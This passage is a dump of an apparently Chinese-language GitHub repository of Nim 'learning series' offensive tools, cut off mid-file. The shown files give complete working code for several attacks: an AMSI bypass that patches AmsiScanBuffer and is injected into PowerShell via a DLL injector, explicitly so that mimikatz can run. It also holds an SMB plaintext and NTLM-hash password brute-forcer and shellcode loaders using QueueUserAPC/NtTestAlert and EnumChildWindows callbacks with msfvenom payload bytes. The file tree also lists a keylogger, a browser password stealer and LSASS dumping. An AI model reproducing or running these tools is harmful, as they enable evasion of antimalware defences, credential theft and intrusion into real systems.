├── AMSI 绕过(nim学习系列).md ├── ICMP探测存活主机(nim学习系列).md ├── README.md ├── SMB密码爆破(nim学习系列).md ├── Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert.md ├── Shellcode Injection via Callbacks.md ├── WMI密码批量爆破.md ├── dll 创建及加载(nim学习系列).md ├── dump lsass(nim 学习系列).md ├── examples ├── amsiBypass.nim ├── chromepwd.nim ├── chromepwd64.exe ├── decrypt.nim ├── dllInjector.nim ├── dumpLsass.nim ├── firefoxHistory.nim ├── ftpDownload.nim ├── httpDownload.nim ├── ip_seg.nim ├── keylogger.nim ├── mping.nim ├── nimLadon.nim ├── nimNC.nim ├── popw.nim ├── reverse.nim ├── shellcodeRun.exe ├── simpleHttp.nim ├── smblogin.exe ├── smblogin.nim ├── sqlite3_64.dll ├── subname.exe ├── subname.nim └── wmiLogin.nim ├── images └── mping.PNG ├── injecting-to-remote-process-via-thread-hijacking.md ├── nim 反弹 shell(nim学习系列).md ├── nim 嵌入C 代码(nim学习系列).md ├── 内存加载 ladon.exe(nim学习系列).md ├── 内联汇编加载 shellcode.md ├── 子域名扫描(nim学习系列).md ├── 搭建简易的 http server(nim 学习系列).md ├── 文件下载(nim学习系列).md ├── 读取 chrome 浏览器密码(nim学习系列).md ├── 读取firefox浏览器历史记录(nim学习系列).md ├── 调用 MessageBoxW 函数(nim学习系列).md ├── 通过CreateThreadpoolWait执行shellcode.md └── 键盘记录器(nim学习系列).md /AMSI 绕过(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # AMSI 绕过(nim学习系列) 2 | 3 | AMSI(Anti-Malware Scan Interface),即反恶意软件扫描接口,在win10和server2016上默认安装。如在使用mimikatz的powershell版时候会遇到错误(仅输入"Invoke-Mimikatz"字符串都被拦截)。 4 | 5 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/mimikatz0.bmp) 6 | 7 | ### 实现过程 8 | 9 | 不废话,直接上代码。我们将 byt3bl33d3r 的代码 [amsi_patch_bin.nim](https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim) 编成 dll,然后注入 powershell 进程,实现 amsi bypass。 10 | 11 | #### amsiBypass.nim 12 | 13 | 编译:nim c --app:lib --nomain --cpu=amd64 -d:release amsiBypass.nim 14 | 15 | ``` amsiBypass.nim 16 | #[ 17 | Author: StudyCat 18 | Blog: https://www.cnblogs.com/studycat 19 | Github: https://github.com/StudyCat404/myNimExamples 20 | License: BSD 3-Clause 21 | Referer: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_patch_bin.nim 22 | ]# 23 | import winim/lean 24 | import strformat 25 | import dynlib 26 | 27 | when defined amd64: 28 | #echo "[*] Running in x64 process" 29 | const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 30 | elif defined i386: 31 | #echo "[*] Running in x86 process" 32 | const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 33 | 34 | proc PatchAmsi(): bool = 35 | var 36 | amsi: LibHandle 37 | cs: pointer 38 | op: DWORD 39 | t: DWORD 40 | disabled: bool = false 41 | 42 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 43 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 44 | amsi = loadLib("amsi") 45 | if isNil(amsi): 46 | echo "[X] Failed to load amsi.dll" 47 | return disabled 48 | 49 | cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress() 50 | if isNil(cs): 51 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 52 | return disabled 53 | 54 | if VirtualProtect(cs, patch.len, 0x40, addr op): 55 | #echo "[*] Applying patch" 56 | copyMem(cs, unsafeAddr patch, patch.len) 57 | VirtualProtect(cs, patch.len, op, addr t) 58 | disabled = true 59 | 60 | return disabled 61 | 62 | proc NimMain() {.cdecl, importc.} 63 | 64 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 65 | NimMain() 66 | 67 | if fdwReason == DLL_PROCESS_ATTACH: 68 | discard PatchAmsi() 69 | 70 | return true 71 | ``` 72 | 73 | #### dll 注入 74 | 75 | 这里主要参考了 https://github.com/saeedirha/DLL-Injector 的 C 语言代码进行修改。 76 | 77 | 编译:nim c --cpu:amd64 -d:release --opt:size dllInjector.nim 78 | 79 | 首先,编译 amsiBypass.nim 成 dll 文件。然后,启动一个 powershell 进程,通过任务管理器获取 PID。最后使用以下命令将 amsiBypass.dll 注入 powershell 进程,即可绕过 amsi,效果见截图。 80 | 81 | 使用:dllInjector.exe 14144 C:\Users\dell\Desktop\test\amsiBypass.dll 82 | 83 | dllInjector.nim 84 | 85 | ``` dllInjector.nim 86 | #[ 87 | Author: StudyCat 88 | Blog: https://www.cnblogs.com/studycat 89 | Github: https://github.com/StudyCat404/myNimExamples 90 | License: BSD 3-Clause 91 | Referer: https://github.com/saeedirha/DLL-Injector 92 | ]# 93 | import winim/lean 94 | import dynlib 95 | import os 96 | import strutils 97 | 98 | when defined(windows): 99 | let dllPath = paramStr(2) #绝对路径 100 | let pid = paramStr(1).parseInt() #powershell.exe 进程 pid 101 | 102 | let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](pid)) 103 | let alloc = VirtualAllocEx(hProcess, nil, dllPath.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE) 104 | 105 | let IsWriteOK = WriteProcessMemory(hProcess, alloc, unsafeaddr dllPath[0], dllPath.len, nil) 106 | if IsWriteOK == 0: 107 | echo "Fail to write in Target Process memory" 108 | quit(QuitFailure) 109 | 110 | let lib = loadLib("kernel32.dll") 111 | if lib == nil: 112 | echo "Error loading library" 113 | quit(QuitFailure) 114 | 115 | 116 | let lpthreadStartRoutinefp = cast[LPTHREAD_START_ROUTINE](lib.symAddr("LoadLibraryA")) 117 | if lpthreadStartRoutinefp == nil: 118 | echo "Error loading 'LoadLibraryA' function from library" 119 | quit(QuitFailure) 120 | 121 | var dWord: DWORD 122 | CreateRemoteThread(hProcess, nil, 0, lpthreadStartRoutinefp, alloc, 0 ,addr dWord) 123 | 124 | echo "[+]DLL Successfully Injected" 125 | 126 | unloadLib(lib) 127 | ``` 128 | 129 | 现在可以放心使用 mimikatz 了。 130 | 131 | ![截图](https://files-cdn.cnblogs.com/files/StudyCat/mimikatz.bmp) -------------------------------------------------------------------------------- /ICMP探测存活主机(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # ICMP探测存活主机(nim学习系列) 2 | 3 | 仅ICMP协议探测存活主机(调用系统ping命令,速度快3-6秒/C段)。当前仅支持windows系统,稍作修改即可支持linux系统。 4 | 5 | ## 源代码 mping.nim 6 | 7 | ### 编译 8 | 9 | nim c -d:release --opt:size --threads=on mping.nim 10 | 11 | ### 使用 12 | 13 | Usage: mping.exe ipaddress/cidr/Ipv4Range 14 | For example: 15 | mping.exe 172.16.1.1 16 | mping.exe 192.168.1.0/24 17 | mping.exe 10.10.3.1-10.10.10.254 18 | 19 | ``` nim 20 | #[ 21 | Author: StudyCat 22 | Blog: https://www.cnblogs.com/studycat 23 | Github: https://github.com/StudyCat404 24 | License: BSD 3-Clause 25 | ]# 26 | 27 | import threadpool 28 | import streams 29 | import osproc 30 | import strutils 31 | import os 32 | import times 33 | import ip_seg 34 | import net 35 | import sequtils 36 | 37 | let time = cpuTime() 38 | var 39 | maxThreads: int 40 | hosts: seq[string] 41 | 42 | maxThreads = 256 43 | 44 | proc validateOpt(hosts: var seq[string]) = 45 | if paramCount() < 1: 46 | echo "Usage: ", paramStr(0), " ipaddress/cidr/Ipv4Range" 47 | echo "For example:" 48 | echo paramStr(0)," 172.16.1.1" 49 | echo paramStr(0)," 192.168.1.0/24" 50 | echo paramStr(0)," 10.10.3.1-10.10.10.254" 51 | quit(-1) 52 | 53 | var userInput = paramStr(1) 54 | if isIpAddress(userInput): 55 | hosts.add(userInput) 56 | elif userInput.contains("-"): 57 | let 58 | range1 = userInput.split("-")[0] 59 | range2 = userInput.split("-")[1] 60 | if isIpAddress(range1) and isIpAddress(range2): 61 | hosts = calc_range(range1, range2) 62 | elif userInput.contains("/"): 63 | hosts = calc_range(userInput) 64 | else: 65 | echo "Invalid input" 66 | if hosts.len == 0: 67 | echo "Invalid input" 68 | quit(-1) 69 | 70 | proc ping(ip: string) {.thread.} = 71 | var pingargs: array[3, string] 72 | pingargs[0] = "-n" 73 | pingargs[1] = "1" 74 | pingargs[2] = ip 75 | let outp = osproc.execProcess("ping.exe", args=pingargs, options={poStdErrToStdOut,poUsePath}) 76 | var line = "" 77 | var strm = newStringStream(outp) 78 | if not isNil(strm): 79 | while strm.readLine(line): 80 | if line.contains("TTL="): 81 | echo ip 82 | 83 | proc main() = 84 | validateOpt(hosts) 85 | var num = hosts.len() 86 | var division: int 87 | if num mod maxThreads > 0: 88 | division = (num/maxThreads).toInt() + 1 89 | else: 90 | division = (num/maxThreads).toInt() 91 | 92 | for scan_hosts in hosts.distribute(division): 93 | for ip in scan_hosts: 94 | spawn ping(ip) 95 | sleep(2) 96 | 97 | sync() 98 | echo "Time taken: ", cpuTime() - time, "s" 99 | 100 | when isMainModule: 101 | when defined windows: 102 | main() 103 | ``` 104 | 105 | ### 截图 106 | 107 | ![效果图](https://raw.githubusercontent.com/StudyCat404/myNimExamples/main/images/mping.PNG) 108 | 109 | 向k8gege学习:http://k8gege.org/p/648af4b3.html#0x001-%E8%B5%84%E4%BA%A7%E6%89%AB%E6%8F%8F-11 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # myNimExamples 2 | nim c -d:release --opt:size --run test.nim 3 | nim c -d:release --opt:size --cpu:i386 test.nim 4 | nim c --run test.nim 5 | -------------------------------------------------------------------------------- /SMB密码爆破(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # SMB密码爆破(nim学习系列) 2 | 3 | 关键字:windows smb密码爆破;445端口;弱口令扫描; ntlmhash爆破; 4 | 5 | ## 使用方法 6 | 7 | > * 支持明文密码爆破 8 | > * 支持ntlmhash爆破 9 | > * 通过命令行或者文件导入目标IP地址 10 | > * 先扫描目标IP 445端口,如果开放再进行密码爆破 11 | > * 输出爆破过程,成功密码保持到 smblogin.log 12 | 13 | IP地址的输入支持单个IP和CIDR。 14 | 15 | 账号密码的输入支持两种格式。 16 | 17 | 第一种,user.txt(存放用户名) 和 pass.txt(存放密码)。 18 | 19 | 第二种, userpass.txt(一行一对账号密码,用空格间隔,比如:administrator 123456)。 20 | 21 | 如果以上文件同时存在,优先选择第二种。 22 | 23 | ### 举例 24 | 25 | 明文密码爆破 26 | 27 | smblogin.exe plain 192.168.1.0/24 28 | 29 | smblogin.exe plain ip.txt 30 | 31 | ntlmhash爆破 32 | 33 | smblogin.exe hash 10.10.0.0/23 34 | 35 | ### 截图 36 | 37 | ![使用截图](https://files-cdn.cnblogs.com/files/StudyCat/sublogin.bmp) 38 | 39 | ![使用截图2](https://files-cdn.cnblogs.com/files/StudyCat/smblogin2.bmp) 40 | 41 | ## 源代码 sublogin.nim 42 | 43 | 源代码: 44 | 45 | [sublogin.nim](https://github.com/StudyCat404/myNimExamples/blob/main/examples/smblogin.nim) 46 | 47 | 已经编译好的exe: 48 | 49 | [sublogin.exe](https://github.com/StudyCat404/myNimExamples/blob/main/examples/smblogin.exe) 50 | 51 | 主要使用到 SMBExec 模块,可通过 nimble install SMBExec 进行安装。 52 | 53 | 但是如果直接调用原版自带的 connect 函数(SMBExec.nim文件中)进行超过一次的登陆尝试,会提示“远程主机强迫关闭了一个现有的连接”错误。最后我复制 connect 函数,并重命名为 connectTest ,修改后的代码如下: 54 | 55 | ``` nim 56 | proc connectTest*(smb: SMB2): bool = 57 | var 58 | recvClient: seq[string] 59 | response: string 60 | #### new line 61 | messageID = 1 62 | session_ID = @[0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte] 63 | #### new line 64 | ## Connect 65 | smb.socket.connect(smb.target, 445.Port) 66 | 67 | ## SMBv1 Init negotiate 68 | smb.socket.send(getSMBv1NegoPacket()) 69 | recvClient = smb.socket.recvPacket(1024, 100) 70 | 71 | ## Check Dialect 72 | #printC(Info, "Dialect: " & checkDialect recvClient) 73 | 74 | ## Check Signing 75 | signing = checkSigning recvClient 76 | #if signing: 77 | # printC Info, "Signing Enabled" 78 | #else: 79 | # printC Info, "Signing Disabled" 80 | 81 | ## SMBv2 negotiate 82 | smb.socket.send(getSMBv2NegoPacket()) 83 | recvClient = smb.socket.recvPacket(1024, 100) 84 | 85 | ## SMBv2NTLM negotiate 86 | smb.socket.send(getSMBv2NTLMNego(signing)) 87 | response = smb.socket.recvPacketForNTLM(1024, 100) 88 | 89 | ## Pass the hash 90 | let authPacket = getSMBv2NTLMAuth(getSMBv2NTLMSSP(response, smb.hash, smb.domain, smb.user, signing)) 91 | 92 | smb.socket.send(authPacket) 93 | recvClient = smb.socket.recvPacket(1024, 100) 94 | 95 | if checkAuth recvClient: 96 | #printC Success, "Successfully logged on!" 97 | stage = TreeConnect 98 | return true 99 | else: 100 | #printC Error, "Login failed" 101 | stage = Exit 102 | return false 103 | 104 | #result = recvClient 105 | ``` 106 | 107 | 向 k8gege学习 http://k8gege.org/Ladon/SmbScan.html 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert.md: -------------------------------------------------------------------------------- 1 | # Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert 2 | ## APC队列 3 | 异步过程调用(APC)队列是一个与线程关联的队列,用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的 APC 队列,并在适当的时机触发队列中挂起的函数。APC 队列通常用于实现线程间的异步通信、定时器回调以及异步 I/O 操作。 4 | 5 | APC 队列包含两种类型的 APC: 6 | 7 | 内核模式 APC:由内核代码发起,通常用于处理内核级别的异步操作,如异步 I/O 完成。 8 | 用户模式 APC:由用户代码发起,允许用户态应用程序将特定函数插入到线程的 APC 队列中,以便在线程上下文中异步执行 9 | ## poc.nim 10 | ``` 11 | import winim 12 | 13 | proc myThread(shellcode: openArray[byte]) = 14 | #加载的模块的名称 (.dll或.exe文件) 。 如果省略文件扩展名,则会追加默认扩展名.dll。 15 | #获取模块句柄 16 | var ntdllModule = GetModuleHandleA("ntdll.dll") 17 | #从指定的动态链接库 (DLL) 检索导出函数或变量。 18 | var testAlert = GetProcAddress(ntdllModule, "NtTestAlert") 19 | #检索当前进程的伪句柄。 20 | let pHandle = GetCurrentProcess() 21 | #分配内存 22 | var shellAddress = VirtualAlloc(NULL, cast[SIZE_T](shellcode.len), MEM_COMMIT, PAGE_EXECUTE_READWRITE) 23 | #将数据写入指定进程中的内存区域。 24 | WriteProcessMemory(pHandle, shellAddress, unsafeAddr shellcode, cast[SIZE_T](shellcode.len), NULL) 25 | 26 | #将执行shellcode的任务添加到指定线程的 APC 队列。 27 | QueueUserAPC(cast[PAPCFUNC](shellAddress), GetCurrentThread(), cast[ULONG_PTR](NULL)) 28 | #调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode) 29 | let f = cast[proc(){.nimcall.}](testAlert) 30 | f() 31 | 32 | when defined(windows): 33 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 34 | when defined(i386): 35 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 36 | echo "[*] Running in x86 process" 37 | var shellcode: array[272, byte] = [ 38 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 39 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 40 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 41 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 42 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 43 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 44 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 45 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 46 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 47 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 48 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 49 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 50 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 51 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 52 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 53 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 54 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 55 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 56 | 0x55,0x08] 57 | 58 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 59 | when isMainModule: 60 | myThread(shellcode) 61 | ``` 62 | 或者 63 | ``` 64 | import winim 65 | 66 | proc myThread(shellcode: openArray[byte]) = 67 | #加载的模块的名称 (.dll或.exe文件) 。 如果省略文件扩展名,则会追加默认库扩展名.dll。 68 | #获取模块句柄 69 | var ntdllModule = GetModuleHandleA("ntdll.dll") 70 | #从指定的动态链接库 (DLL) 检索导出函数或变量。 71 | var testAlert = GetProcAddress(ntdllModule, "NtTestAlert") 72 | #更改shellcode所在内存的访问保护属性,允许执行 73 | var oldProtect: DWORD 74 | VirtualProtect(unsafeAddr shellcode, cast[SIZE_T](shellcode.len), PAGE_EXECUTE_READWRITE, &oldProtect) 75 | 76 | #将执行shellcode的骚操作添加到指定线程的 APC 队列。 77 | QueueUserAPC(cast[PAPCFUNC](unsafeAddr shellcode), GetCurrentThread(), cast[ULONG_PTR](NULL)) 78 | #调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode) 79 | let f = cast[proc(){.nimcall.}](testAlert) 80 | f() 81 | 82 | when defined(windows): 83 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 84 | when defined(i386): 85 | # ./msfvenom -p windows/messagebox -f csharp, then modified for Nim arrays 86 | echo "[*] Running in x86 process" 87 | var shellcode: array[272, byte] = [ 88 | byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b, 89 | 0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b, 90 | 0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24, 91 | 0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a, 92 | 0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0, 93 | 0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c, 94 | 0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a, 95 | 0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2, 96 | 0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f, 97 | 0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52, 98 | 0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33, 99 | 0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89, 100 | 0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c, 101 | 0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67, 102 | 0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3, 103 | 0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20, 104 | 0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24, 105 | 0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff, 106 | 0x55,0x08] 107 | 108 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 109 | when isMainModule: 110 | myThread(shellcode) 111 | ``` 112 | ## 引用 113 | ``` 114 | https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert 115 | 116 | https://www.cnblogs.com/henry666/p/17429771.html 117 | ``` -------------------------------------------------------------------------------- /Shellcode Injection via Callbacks.md: -------------------------------------------------------------------------------- 1 | # Shellcode Injection via Callbacks 2 | 3 | 通过回调函数进行shellcode注入,支持以下13各方法,本文最后给出shellcode加载器。 4 | 5 | 1, EnumTimeFormatsA 6 | 2, EnumWindows 7 | 3, EnumDesktopWindows 8 | 4, EnumDateFormatsA 9 | 5, EnumChildWindows 10 | 6, EnumThreadWindows 11 | 7, EnumSystemLocales 12 | 8, EnumSystemGeoID 13 | 9, EnumSystemLanguageGroupsA 14 | 10, EnumUILanguagesA 15 | 11, EnumSystemCodePagesA 16 | 12, EnumDesktopsW 17 | 13, EnumSystemCodePagesW 18 | 19 | ## 姿势一 20 | 21 | 如何通过nim lang来实现,首先来看 [byt3bl33d3r 的例子](https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim),他使用了上述方法中的EnumSystemGeoID。参考他的例子,我们使用EnumChildWindows方法来实现一个。 22 | 23 | 编译并运行: 24 | 25 | nim c --run shellcode_callback_bin.nim 26 | 27 | ``` shellcode_callback_bin.nim 28 | #[ 29 | Author: StudyCat 30 | Blog: https://www.cnblogs.com/studycat 31 | Github: https://github.com/StudyCat404/myNimExamples 32 | 33 | References: 34 | - https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_callback_bin.nim 35 | ]# 36 | 37 | import winim/lean # for core SDK only, this speed up compiling time. 38 | 39 | when defined(windows): 40 | 41 | # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler 42 | # Consts defined by the compiler 43 | when defined(i386): 44 | # msfvenom -p windows/exec -f csharp CMD="calc.exe" modified for Nim arrays 45 | echo "[*] Running in x86 process" 46 | var shellcode: array[193, byte] = [ 47 | byte 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 48 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 49 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 50 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 51 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 52 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 53 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 54 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 55 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 56 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 57 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 58 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 59 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00] 60 | 61 | elif defined(amd64): 62 | # msfvenom -p windows/x64/exec -f csharp CMD="calc.exe" modified for Nim arrays 63 | echo "[*] Running in x64 process" 64 | var shellcode: array[276, byte] = [ 65 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 66 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 67 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 68 | 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 69 | 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 70 | 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 71 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, 72 | 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, 73 | 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, 74 | 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 75 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, 76 | 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, 77 | 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, 78 | 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 79 | 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, 80 | 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 81 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, 82 | 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, 83 | 0x63,0x2e,0x65,0x78,0x65,0x00] 84 | 85 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 86 | when isMainModule: 87 | let tProcess = GetCurrentProcessId() 88 | 89 | echo "[*] Target Process: ", tProcess 90 | 91 | # Allocate memory 92 | let rPtr = VirtualAlloc( 93 | nil, 94 | cast[SIZE_T](shellcode.len), 95 | MEM_COMMIT, 96 | PAGE_EXECUTE_READ_WRITE 97 | ) 98 | # Copy Shellcode to the allocated memory section 99 | copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len)) 100 | 101 | # Callback execution 102 | #https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumchildwindows 103 | EnumChildWindows(cast[HWND](nil), cast[WNDENUMPROC](rPtr), cast[LPARAM](nil)) 104 | # here comes an error: "SIGSEGV: Illegal storage access. (Attempt to read from nil?)" - 